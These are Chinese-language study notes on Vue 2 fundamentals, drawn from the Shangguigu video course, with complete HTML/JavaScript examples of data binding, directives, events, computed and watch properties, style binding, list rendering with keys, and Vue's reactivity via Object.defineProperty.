Vue2的基础学习 点击这里 进入Vue的官网学习 本文是基于尚硅谷Vue2.0+Vue3.0全套教程丨vuejs从入门到精通 进行学习的,文章的各种资源等来自这里,仅供学习参考!!! 基本语法也可以参照菜鸟教程 学习资料获取 百度网盘 链接:https://pan.baidu.com/s/15km4W856ufNV-dgPmRXwtA 提取码:0814
Vue的认识 Vue的含义 Vue 是一套用来动态构建用户界面 的渐进式 JavaScript前端框架
Vue的特点
使用虚拟的DOM+优秀的Diff算法,尽量复用DOM节点
Vue核心 使用Vue语法前需要引入Vue.js,可以使用CDN的方式引入
1 <script src="https://cdn.jsdelivr.net/npm/vue/dist/vue.js" ></script>
也可以使用本地路径引入Vue.js,这则需要从官网下载Vue.js文件到本地才行
插值语法
功能:用于解析标签体内容。
写法:,xxx是js表达式,且可以直接读取到data中的所有属性。
指令语法
v-bind:
功能:用于解析标签(包括:标签属性、标签体内容、绑定事件…..),是单向数据绑定
举例:v-bind:href=”xxx”或简写为 :href=”xxx”,xxx同样要写js表达式,且可以直接读取到data中的所有属性
备注:Vue中有很多的指令,且形式都是:v-????,此处我们只是拿v-bind举个例子
简化:”v-bind:”可以简写为”:”
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <!DOCTYPE html> <html > <head > <meta charset ="UTF-8" /> <title > 模板语法</title > <script type ="text/javascript" src ="../js/vue.js" > </script > </head > <body > <div id ="root" > <h1 > 插值语法</h1 > <h3 > 你好,{{name}}</h3 > <hr /> <h1 > 指令语法</h1 > <a v-bind:href ="school.url.toUpperCase()" x ="hello" > 点我去{{school.name}}学习1</a > <a :href ="school.url" x ="hello" > 点我去{{school.name}}学习2</a > </div > </body > <script type ="text/javascript" > Vue .config .productionTip = false new Vue ({ el :'#root' , data :{ name :'jack' , school :{ name :'尚硅谷' , url :'http://www.atguigu.com' , } } }) </script > </html >
v-model:
Vue中有2种数据绑定的方式:
单向绑定(v-bind):数据只能从data流向页面。
双向绑定(v-model):数据不仅能从data流向页面,还可以从页面流向data。
备注:双向绑定一般都应用在表单类元素上(如:input、select等)
v-model:value 可以简写为 v-model,因为v-model默认收集的就是value值。
v-model只能应用在表单类元素(输入类元素)上
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>数据绑定</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <div id="root"> 单向数据绑定:<input type="text" :value="name"><br/> 双向数据绑定:<input type="text" v-model="name"><br/> <!-- 如下代码是错误的,因为v-model只能应用在表单类元素(输入类元素)上 --> <!-- <h2 v-model:x="name">你好啊</h2> --> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 new Vue({ el:'#root', data:{ name:'尚硅谷' } }) </script> </html>
el和data的两种写法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 <!DOCTYPE html> <html > <head > <meta charset ="UTF-8" /> <title > el与data的两种写法</title > <script type ="text/javascript" src ="../js/vue.js" > </script > </head > <body > <div id ="root" > <h1 > 你好,{{name}}</h1 > </div > </body > <script type ="text/javascript" > Vue .config .productionTip = false new Vue ({ el :'#root' , data ( ){ console .log ('@@@' ,this ) return { name :'尚硅谷' } } }) </script > </html >
Vue中的MVVM模型
M:模型(Model) :data中的数据
V:视图(View) :模板代码
VM:视图模型(ViewModel):Vue实例
观察发现
data中所有的属性,最后都出现在了vm身上。
vm身上所有的属性 及 Vue原型上所有属性,在Vue模板中都可以直接使用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <!DOCTYPE html> <html > <head > <meta charset ="UTF-8" /> <title > 理解MVVM</title > <script type ="text/javascript" src ="../js/vue.js" > </script > </head > <body > <div id ="root" > <h1 > 学校名称:{{name}}</h1 > <h1 > 学校地址:{{address}}</h1 > </div > </body > <script type ="text/javascript" > Vue .config .productionTip = false const vm = new Vue ({ el :'#root' , data :{ name :'尚硅谷' , address :'北京' , } }) console .log (vm) </script > </html >
数据代理
Vue中的数据代理:通过vm对象来代理data对象中属性的操作(读/写)
Vue中数据代理的好处:更加方便的操作data中的数据
基本原理:通过Object.defineProperty()把data对象中所有属性添加到vm上。为每一个添加到vm上的属性,都指定一个getter/setter。在getter/setter内部去操作(读/写)data中对应的属性
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <!DOCTYPE html> <html > <head > <meta charset ="UTF-8" /> <title > 回顾Object.defineproperty方法</title > </head > <body > <script type ="text/javascript" > let number = 18 let person = { name :'张三' , sex :'男' , } Object .defineProperty (person,'age' ,{ get ( ){ console .log ('有人读取age属性了' ) return number }, set (value ){ console .log ('有人修改了age属性,且值是' ,value) number = value } }) console .log (person) </script > </body > </html >
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <!DOCTYPE html> <html > <head > <meta charset ="UTF-8" /> <title > 何为数据代理</title > </head > <body > <script type ="text/javascript" > let obj = {x :100 } let obj2 = {y :200 } Object .defineProperty (obj2,'x' ,{ get ( ){ return obj.x }, set (value ){ obj.x = value } }) </script > </body > </html >
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <!DOCTYPE html> <html > <head > <meta charset ="UTF-8" /> <title > Vue中的数据代理</title > <script type ="text/javascript" src ="../js/vue.js" > </script > </head > <body > <div id ="root" > <h2 > 学校名称:{{name}}</h2 > <h2 > 学校地址:{{address}}</h2 > </div > </body > <script type ="text/javascript" > Vue .config .productionTip = false const vm = new Vue ({ el :'#root' , data :{ name :'尚硅谷' , address :'宏福科技园' } }) </script > </html >
事件处理
事件的基本使用:
使用v-on:xxx 或 @xxx 绑定事件,其中xxx是事件名
事件的回调需要配置在methods对象中,最终会在vm上
methods中配置的函数,不要用箭头函数!否则this就不是vm了
methods中配置的函数,都是被Vue所管理的函数,this的指向是vm 或 组件实例对象
@click=”demo” 和 @click=”demo($event)” 效果一致,但后者可以传参
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <!DOCTYPE html> <html > <head > <meta charset ="UTF-8" /> <title > 事件的基本使用</title > <script type ="text/javascript" src ="../js/vue.js" > </script > </head > <body > <div id ="root" > <h2 > 欢迎来到{{name}}学习</h2 > <button @click ="showInfo1" > 点我提示信息1(不传参)</button > <button @click ="showInfo2($event,66)" > 点我提示信息2(传参)</button > </div > </body > <script type ="text/javascript" > Vue .config .productionTip = false const vm = new Vue ({ el :'#root' , data :{ name :'尚硅谷' , }, methods :{ showInfo1 (event ){ alert ('同学你好!' ) }, showInfo2 (event,number ){ console .log (event,number) alert ('同学你好!!' ) } } }) </script > </html >
事件修饰符
prevent:阻止默认事件(常用)
stop:阻止事件冒泡(常用)
once:事件只触发一次(常用)
capture:使用事件的捕获模式
self:只有event.target是当前操作的元素时才触发事件
passive:事件的默认行为立即执行,无需等待事件回调执行完毕
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 <!DOCTYPE html> <html > <head > <meta charset ="UTF-8" /> <title > 事件修饰符</title > <script type ="text/javascript" src ="../js/vue.js" > </script > <style > *{ margin-top : 20px ; } .demo1 { height : 50px ; background-color : skyblue; } .box1 { padding : 5px ; background-color : skyblue; } .box2 { padding : 5px ; background-color : orange; } .list { width : 200px ; height : 200px ; background-color : peru; overflow : auto; } li { height : 100px ; } </style > </head > <body > <div id ="root" > <h2 > 欢迎来到{{name}}学习</h2 > <a href ="http://www.atguigu.com" @click.prevent ="showInfo" > 点我提示信息</a > <div class ="demo1" @click ="showInfo" > <button @click.stop ="showInfo" > 点我提示信息</button > </div > <button @click.once ="showInfo" > 点我提示信息</button > <div class ="box1" @click.capture ="showMsg(1)" > div1 <div class ="box2" @click ="showMsg(2)" > div2 </div > </div > <div class ="demo1" @click.self ="showInfo" > <button @click ="showInfo" > 点我提示信息</button > </div > <ul @wheel.passive ="demo" class ="list" > <li > 1</li > <li > 2</li > <li > 3</li > <li > 4</li > </ul > </div > </body > <script type ="text/javascript" > Vue .config .productionTip = false new Vue ({ el :'#root' , data :{ name :'尚硅谷' }, methods :{ showInfo (e ){ alert ('同学你好!' ) }, showMsg (msg ){ console .log (msg) }, demo ( ){ for (let i = 0 ; i < 100000 ; i++) { console .log ('#' ) } console .log ('累坏了' ) } } }) </script > </html >
键盘事件
Vue中常用的按键别名:
回车 => enter
删除 => delete (捕获“删除”和“退格”键)
退出 => esc
空格 => space
换行 => tab (特殊,必须配合keydown去使用)
上 => up
下 => down
左 => left
右 => right
Vue未提供别名的按键,可以使用按键原始的key值去绑定,但注意要转为kebab-case(短横线命名)
系统修饰键(用法特殊):ctrl、alt、shift、meta
配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发。
配合keydown使用:正常触发事件。
也可以使用keyCode去指定具体的按键(不推荐)
Vue.config.keyCodes.自定义键名 = 键码,可以去定制按键别名
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <!DOCTYPE html> <html > <head > <meta charset ="UTF-8" /> <title > 键盘事件</title > <script type ="text/javascript" src ="../js/vue.js" > </script > </head > <body > <div id ="root" > <h2 > 欢迎来到{{name}}学习</h2 > <input type ="text" placeholder ="按下回车提示输入" @keydown.huiche ="showInfo" > </div > </body > <script type ="text/javascript" > Vue .config .productionTip = false Vue .config .keyCodes .huiche = 13 new Vue ({ el :'#root' , data :{ name :'尚硅谷' }, methods : { showInfo (e ){ console .log (e.target .value ) } }, }) </script > </html >
计算属性computed
侦听属性watch
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <!DOCTYPE html> <html > <head > <meta charset ="UTF-8" /> <title > 天气案例</title > <script type ="text/javascript" src ="../js/vue.js" > </script > </head > <body > <div id ="root" > <h2 > 今天天气很{{info}}</h2 > <button @click ="changeWeather" > 切换天气</button > </div > </body > <script type ="text/javascript" > Vue .config .productionTip = false const vm = new Vue ({ el :'#root' , data :{ isHot :true , }, computed :{ info ( ){ return this .isHot ? '炎热' : '凉爽' } }, methods : { changeWeather ( ){ this .isHot = !this .isHot } }, }) </script > </html >
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 <!DOCTYPE html> <html > <head > <meta charset ="UTF-8" /> <title > 天气案例_监视属性</title > <script type ="text/javascript" src ="../js/vue.js" > </script > </head > <body > <div id ="root" > <h2 > 今天天气很{{info}}</h2 > <button @click ="changeWeather" > 切换天气</button > </div > </body > <script type ="text/javascript" > Vue .config .productionTip = false const vm = new Vue ({ el :'#root' , data :{ isHot :true , }, computed :{ info ( ){ return this .isHot ? '炎热' : '凉爽' } }, methods : { changeWeather ( ){ this .isHot = !this .isHot } }, }) vm.$watch('isHot' ,{ immediate :true , handler (newValue,oldValue ){ console .log ('isHot被修改了' ,newValue,oldValue) } }) </script > </html >
深度监视
Vue中的watch默认不监测对象内部值的改变(一层)。
配置deep:true可以监测对象内部值改变(多层)。
备注
Vue自身可以监测对象内部值的改变,但Vue提供的watch默认不可以!
使用watch时根据数据的具体结构,决定是否采用深度监视。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 <!DOCTYPE html> <html > <head > <meta charset ="UTF-8" /> <title > 天气案例_深度监视</title > <script type ="text/javascript" src ="../js/vue.js" > </script > </head > <body > <div id ="root" > <h2 > 今天天气很{{info}}</h2 > <button @click ="changeWeather" > 切换天气</button > <hr /> <h3 > a的值是:{{numbers.a}}</h3 > <button @click ="numbers.a++" > 点我让a+1</button > <h3 > b的值是:{{numbers.b}}</h3 > <button @click ="numbers.b++" > 点我让b+1</button > <button @click ="numbers = {a:666,b:888}" > 彻底替换掉numbers</button > {{numbers.c.d.e}} </div > </body > <script type ="text/javascript" > Vue .config .productionTip = false const vm = new Vue ({ el :'#root' , data :{ isHot :true , numbers :{ a :1 , b :1 , c :{ d :{ e :100 } } } }, computed :{ info ( ){ return this .isHot ? '炎热' : '凉爽' } }, methods : { changeWeather ( ){ this .isHot = !this .isHot } }, watch :{ isHot :{ handler (newValue,oldValue ){ console .log ('isHot被修改了' ,newValue,oldValue) } }, numbers :{ deep :true , handler ( ){ console .log ('numbers改变了' ) } } } }) </script > </html >
姓名案例-Watch实现
computed和watch之间的区别
computed能完成的功能,watch都可以完成
watch能完成的功能,computed不一定能完成,例如:watch可以进行异步操作
两个重要的小原则
所被Vue管理的函数,最好写成普通函数,这样this的指向才是vm 或 组件实例对象
所有不被Vue所管理的函数(定时器的回调函数、ajax的回调函数等、Promise的回调函数),最好写成箭头函数,这样this的指向才是vm 或 组件实例对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>姓名案例_watch实现</title> <!-- 引入Vue --> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器--> <div id="root"> 姓:<input type="text" v-model="firstName"> <br/><br/> 名:<input type="text" v-model="lastName"> <br/><br/> 全名:<span>{{fullName}}</span> <br/><br/> </div> </body> <script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。 const vm = new Vue({ el:'#root', data:{ firstName:'张', lastName:'三', fullName:'张-三' }, watch:{ firstName(val){ setTimeout(()=>{ console.log(this) this.fullName = val + '-' + this.lastName },1000); }, lastName(val){ this.fullName = this.firstName + '-' + val } } }) </script> </html>
绑定样式
class样式
写法:class=”xxx” xxx可以是字符串、对象、数组。
字符串写法适用于:类名不确定,要动态获取。
对象写法适用于:要绑定多个样式,个数不确定,名字也不确定。
数组写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用。
style样式
:style=”{fontSize: xxx}”其中xxx是动态值。
:style=”[a,b]”其中a、b是样式对象。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 <!DOCTYPE html> <html > <head > <meta charset ="UTF-8" /> <title > 绑定样式</title > <style > .basic { width : 400px ; height : 100px ; border : 1px solid black; } .happy { border : 4px solid red;; background-color : rgba (255 , 255 , 0 , 0.644 ); background : linear-gradient (30deg ,yellow,pink,orange,yellow); } .sad { border : 4px dashed rgb (2 , 197 , 2 ); background-color : gray; } .normal { background-color : skyblue; } .atguigu1 { background-color : yellowgreen; } .atguigu2 { font-size : 30px ; text-shadow :2px 2px 10px red; } .atguigu3 { border-radius : 20px ; } </style > <script type ="text/javascript" src ="../js/vue.js" > </script > </head > <body > <div id ="root" > <div class ="basic" :class ="mood" @click ="changeMood" > {{name}}</div > <br /> <br /> <div class ="basic" :class ="classArr" > {{name}}</div > <br /> <br /> <div class ="basic" :class ="classObj" > {{name}}</div > <br /> <br /> <div class ="basic" :style ="styleObj" > {{name}}</div > <br /> <br /> <div class ="basic" :style ="styleArr" > {{name}}</div > </div > </body > <script type ="text/javascript" > Vue .config .productionTip = false const vm = new Vue ({ el :'#root' , data :{ name :'尚硅谷' , mood :'normal' , classArr :['atguigu1' ,'atguigu2' ,'atguigu3' ], classObj :{ atguigu1 :false , atguigu2 :false , }, styleObj :{ fontSize : '40px' , color :'red' , }, styleObj2 :{ backgroundColor :'orange' }, styleArr :[ { fontSize : '40px' , color :'blue' , }, { backgroundColor :'gray' } ] }, methods : { changeMood ( ){ const arr = ['happy' ,'sad' ,'normal' ] const index = Math .floor (Math .random ()*3 ) this .mood = arr[index] } }, }) </script > </html >
条件渲染
v-if
v-if=”表达式”
v-else-if=”表达式”
v-else=”表达式”
适用于:切换频率较低的场景。
特点:不展示的DOM元素直接被移除。
注意:v-if可以和:v-else-if、v-else一起使用,但要求结构不能被“打断”。
v-show
写法:v-show=”表达式”
适用于:切换频率较高的场景。
特点:不展示的DOM元素未被移除,仅仅是使用样式隐藏掉
备注:使用v-if的时,元素可能无法获取到,而使用v-show一定可以获取到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 <!DOCTYPE html> <html > <head > <meta charset ="UTF-8" /> <title > 条件渲染</title > <script type ="text/javascript" src ="../js/vue.js" > </script > </head > <body > <div id ="root" > <h2 > 当前的n值是:{{n}}</h2 > <button @click ="n++" > 点我n+1</button > <template v-if ="n === 1" > <h2 > 你好</h2 > <h2 > 尚硅谷</h2 > <h2 > 北京</h2 > </template > </div > </body > <script type ="text/javascript" > Vue .config .productionTip = false const vm = new Vue ({ el :'#root' , data :{ name :'尚硅谷' , n :0 } }) </script > </html >
列表渲染
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 <!DOCTYPE html> <html > <head > <meta charset ="UTF-8" /> <title > 基本列表</title > <script type ="text/javascript" src ="../js/vue.js" > </script > </head > <body > <div id ="root" > <h2 > 人员列表(遍历数组)</h2 > <ul > <li v-for ="(p,index) of persons" :key ="index" > {{p.name}}-{{p.age}} </li > </ul > <h2 > 汽车信息(遍历对象)</h2 > <ul > <li v-for ="(value,k) of car" :key ="k" > {{k}}-{{value}} </li > </ul > <h2 > 测试遍历字符串(用得少)</h2 > <ul > <li v-for ="(char,index) of str" :key ="index" > {{char}}-{{index}} </li > </ul > <h2 > 测试遍历指定次数(用得少)</h2 > <ul > <li v-for ="(number,index) of 5" :key ="index" > {{index}}-{{number}} </li > </ul > </div > <script type ="text/javascript" > Vue .config .productionTip = false new Vue ({ el :'#root' , data :{ persons :[ {id :'001' ,name :'张三' ,age :18 }, {id :'002' ,name :'李四' ,age :19 }, {id :'003' ,name :'王五' ,age :20 } ], car :{ name :'奥迪A8' , price :'70万' , color :'黑色' }, str :'hello' } }) </script > </html >
面试题:react、vue中的key有什么作用?(key的内部原理)
虚拟DOM中key的作用
变化时,Vue会根据【新数据】生成【新的虚拟DOM】, 随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较
对比规则
旧虚拟DOM中找到了与新虚拟DOM相同的key
若虚拟DOM中内容没变, 直接使用之前的真实DOM!
若虚拟DOM中内容变了, 则生成新的真实DOM,随后替换掉页面中之前的真实DOM。
旧虚拟DOM中未找到与新虚拟DOM相同的key,创建新的真实DOM,随后渲染到到页面
用index作为key可能会引发的问题
若对数据进行:逆序添加、逆序删除等破坏顺序操作,会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低。
如果结构中还包含输入类的DOM,会产生错误DOM更新 ==> 界面有问题。
开发中如何选择key
最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值。
如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示, 使用index作为key是没有问题的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>key的原理</title> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器--> <div id="root"> <!-- 遍历数组 --> <h2>人员列表(遍历数组)</h2> <button @click.once="add">添加一个老刘</button> <ul> <li v-for="(p,index) of persons" :key="index"> {{p.name}}-{{p.age}} <input type="text"> </li> </ul> </div> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el:'#root', data:{ persons:[ {id:'001',name:'张三',age:18}, {id:'002',name:'李四',age:19}, {id:'003',name:'王五',age:20} ] }, methods: { add(){ const p = {id:'004',name:'老刘',age:40} this.persons.unshift(p) } }, }) </script> </html>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 <!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>列表过滤</title> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器--> <div id="root"> <h2>人员列表</h2> <input type="text" placeholder="请输入名字" v-model="keyWord"> <ul> <li v-for="(p,index) of filPerons" :key="index"> {{p.name}}-{{p.age}}-{{p.sex}} </li> </ul> </div> <script type="text/javascript"> Vue.config.productionTip = false //用watch实现 //#region /* new Vue({ el:'#root', data:{ keyWord:'', persons:[ {id:'001',name:'马冬梅',age:19,sex:'女'}, {id:'002',name:'周冬雨',age:20,sex:'女'}, {id:'003',name:'周杰伦',age:21,sex:'男'}, {id:'004',name:'温兆伦',age:22,sex:'男'} ], filPerons:[] }, watch:{ keyWord:{ immediate:true, handler(val){ this.filPerons = this.persons.filter((p)=>{ return p.name.indexOf(val) !== -1 }) } } } }) */ //#endregion //用computed实现 new Vue({ el:'#root', data:{ keyWord:'', persons:[ {id:'001',name:'马冬梅',age:19,sex:'女'}, {id:'002',name:'周冬雨',age:20,sex:'女'}, {id:'003',name:'周杰伦',age:21,sex:'男'}, {id:'004',name:'温兆伦',age:22,sex:'男'} ] }, computed:{ filPerons(){ return this.persons.filter((p)=>{ return p.name.indexOf(this.keyWord) !== -1 }) } } }) </script> </html>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 <!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>列表排序</title> <script type="text/javascript" src="../js/vue.js"></script> </head> <body> <!-- 准备好一个容器--> <div id="root"> <h2>人员列表</h2> <input type="text" placeholder="请输入名字" v-model="keyWord"> <button @click="sortType = 2">年龄升序</button> <button @click="sortType = 1">年龄降序</button> <button @click="sortType = 0">原顺序</button> <ul> <li v-for="(p,index) of filPerons" :key="p.id"> {{p.name}}-{{p.age}}-{{p.sex}} <input type="text"> </li> </ul> </div> <script type="text/javascript"> Vue.config.productionTip = false new Vue({ el:'#root', data:{ keyWord:'', sortType:0, //0原顺序 1降序 2升序 persons:[ {id:'001',name:'马冬梅',age:30,sex:'女'}, {id:'002',name:'周冬雨',age:31,sex:'女'}, {id:'003',name:'周杰伦',age:18,sex:'男'}, {id:'004',name:'温兆伦',age:19,sex:'男'} ] }, computed:{ filPerons(){ const arr = this.persons.filter((p)=>{ return p.name.indexOf(this.keyWord) !== -1 }) //判断一下是否需要排序 if(this.sortType){ arr.sort((p1,p2)=>{ return this.sortType === 1 ? p2.age-p1.age : p1.age-p2.age }) } return arr } } }) </script> </html>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <!DOCTYPE html> <html > <head > <meta charset ="UTF-8" /> <title > 更新时的一个问题</title > <script type ="text/javascript" src ="../js/vue.js" > </script > </head > <body > <div id ="root" > <h2 > 人员列表</h2 > <button @click ="updateMei" > 更新马冬梅的信息</button > <ul > <li v-for ="(p,index) of persons" :key ="p.id" > {{p.name}}-{{p.age}}-{{p.sex}} </li > </ul > </div > <script type ="text/javascript" > Vue .config .productionTip = false const vm = new Vue ({ el :'#root' , data :{ persons :[ {id :'001' ,name :'马冬梅' ,age :30 ,sex :'女' }, {id :'002' ,name :'周冬雨' ,age :31 ,sex :'女' }, {id :'003' ,name :'周杰伦' ,age :18 ,sex :'男' }, {id :'004' ,name :'温兆伦' ,age :19 ,sex :'男' } ] }, methods : { updateMei ( ){ this .persons .splice (0 ,1 ,{id :'001' ,name :'马老师' ,age :50 ,sex :'男' }) } } }) </script > </html >
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <!DOCTYPE html> <html > <head > <meta charset ="UTF-8" /> <title > Vue监测数据改变的原理</title > <script type ="text/javascript" src ="../js/vue.js" > </script > </head > <body > <div id ="root" > <h2 > 学校名称:{{name}}</h2 > <h2 > 学校地址:{{address}}</h2 > </div > </body > <script type ="text/javascript" > Vue .config .productionTip = false const vm = new Vue ({ el :'#root' , data :{ name :'尚硅谷' , address :'北京' , student :{ name :'tom' , age :{ rAge :40 , sAge :29 , }, friends :[ {name :'jerry' ,age :35 } ] } } }) </script > </html >
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <!DOCTYPE html> <html > <head > <meta charset ="UTF-8" /> <title > Document</title > </head > <body > <script type ="text/javascript" > let data = { name :'尚硅谷' , address :'北京' , } const obs = new Observer (data) console .log (obs) let vm = {} vm._data = data = obs function Observer (obj ){ const keys = Object .keys (obj) keys.forEach ((k )=> { Object .defineProperty (this ,k,{ get ( ){ return obj[k] }, set (val ){ console .log (`${k} 被改了,我要去解析模板,生成虚拟DOM.....我要开始忙了` ) obj[k] = val } }) }) } </script > </body > </html >
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 <!DOCTYPE html> <html > <head > <meta charset ="UTF-8" /> <title > Vue监测数据改变的原理</title > <script type ="text/javascript" src ="../js/vue.js" > </script > </head > <body > <div id ="root" > <h1 > 学校信息</h1 > <h2 > 学校名称:{{school.name}}</h2 > <h2 > 学校地址:{{school.address}}</h2 > <h2 > 校长是:{{school.leader}}</h2 > <hr /> <h1 > 学生信息</h1 > <button @click ="addSex" > 添加一个性别属性,默认值是男</button > <h2 > 姓名:{{student.name}}</h2 > <h2 v-if ="student.sex" > 性别:{{student.sex}}</h2 > <h2 > 年龄:真实{{student.age.rAge}},对外{{student.age.sAge}}</h2 > <h2 > 朋友们</h2 > <ul > <li v-for ="(f,index) in student.friends" :key ="index" > {{f.name}}--{{f.age}} </li > </ul > </div > </body > <script type ="text/javascript" > Vue .config .productionTip = false const vm = new Vue ({ el :'#root' , data :{ school :{ name :'尚硅谷' , address :'北京' , }, student :{ name :'tom' , age :{ rAge :40 , sAge :29 , }, friends :[ {name :'jerry' ,age :35 }, {name :'tony' ,age :36 } ] } }, methods : { addSex ( ){ this .$set(this .student ,'sex' ,'男' ) } } }) </script > </html >
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 <!DOCTYPE html> <html > <head > <meta charset ="UTF-8" /> <title > Vue监测数据改变的原理_数组</title > <script type ="text/javascript" src ="../js/vue.js" > </script > </head > <body > <div id ="root" > <h1 > 学校信息</h1 > <h2 > 学校名称:{{school.name}}</h2 > <h2 > 学校地址:{{school.address}}</h2 > <h2 > 校长是:{{school.leader}}</h2 > <hr /> <h1 > 学生信息</h1 > <button @click ="addSex" > 添加一个性别属性,默认值是男</button > <h2 > 姓名:{{student.name}}</h2 > <h2 v-if ="student.sex" > 性别:{{student.sex}}</h2 > <h2 > 年龄:真实{{student.age.rAge}},对外{{student.age.sAge}}</h2 > <h2 > 爱好</h2 > <ul > <li v-for ="(h,index) in student.hobby" :key ="index" > {{h}} </li > </ul > <h2 > 朋友们</h2 > <ul > <li v-for ="(f,index) in student.friends" :key ="index" > {{f.name}}--{{f.age}} </li > </ul > </div > </body > <script type ="text/javascript" > Vue .config .productionTip = false const vm = new Vue ({ el :'#root' , data :{ school :{ name :'尚硅谷' , address :'北京' , }, student :{ name :'tom' , age :{ rAge :40 , sAge :29 , }, hobby :['抽烟' ,'喝酒' ,'烫头' ], friends :[ {name :'jerry' ,age :35 }, {name :'tony' ,age :36 } ] } }, methods : { addSex ( ){ this .$set(this .student ,'sex' ,'男' ) } } }) </script > </html >
总结数据监测
Vue监视数据的原理
vue会监视data中所有层次的数据。
